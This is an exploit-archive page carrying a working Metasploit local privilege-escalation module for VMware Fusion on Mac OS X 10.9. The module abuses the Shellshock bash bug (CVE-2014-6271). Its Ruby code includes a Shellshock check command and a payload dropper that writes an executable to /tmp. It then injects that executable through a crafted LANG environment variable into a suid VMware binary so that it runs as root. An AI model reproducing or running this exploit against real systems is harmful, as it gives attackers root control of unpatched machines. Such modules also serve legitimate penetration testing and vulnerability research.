what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Mac OS X VMWare Fusion Root Privilege Escalation

Mac OS X VMWare Fusion Root Privilege Escalation
Posted Sep 25, 2014
Authored by mubix, joev, Stephane Chazelas, juken | Site metasploit.com

This abuses the bug in bash environment variables (CVE-2014-6271) to get a suid binary inside of VMWare Fusion to launch our payload as root.

tags | exploit, root, bash
advisories | CVE-2014-6271
SHA-256 | f04f53cef923e1ebad417dccfb1f6d01ee754b3ddac0ef16fcb609fa3f055392

Mac OS X VMWare Fusion Root Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X VMWare Fusion Root Privilege Escalation Exploit',
'Description' => %q{
This abuses the bug in bash environment variables (CVE-2014-6271) to get
a suid binary inside of VMWare Fusion to launch our payload as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Stephane Chazelas', # discovered the bash bug
'juken', # discovered the VMWare priv esc
'joev', # msf module
'mubix' # vmware-vmx-stats
],
'References' =>
[
[ 'CVE', '2014-6271' ]
],
'Platform' => 'osx',
'Arch' => [ ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9 Mavericks x64 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86_64
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))

register_options([
OptString.new('VMWARE_PATH', [true, "The path to VMware.app", '/Applications/VMware Fusion.app']),
], self.class)
end

def check
check_str = Rex::Text.rand_text_alphanumeric(5)
# ensure they are vulnerable to bash env variable bug
if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) &&
cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/

Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
path = '/Contents/Library/vmware-vmx-stats' # path to the suid binary

print_status("Writing payload file as '#{payload_file}'")
exe = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
write_file(payload_file, exe)
register_file_for_cleanup(payload_file)
cmd_exec("chmod +x #{payload_file}")

print_status("Running VMWare services...")
cmd_exec("LANG='() { :;}; #{payload_file}' '#{datastore['VMWARE_PATH']}#{path}' /dev/random")
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close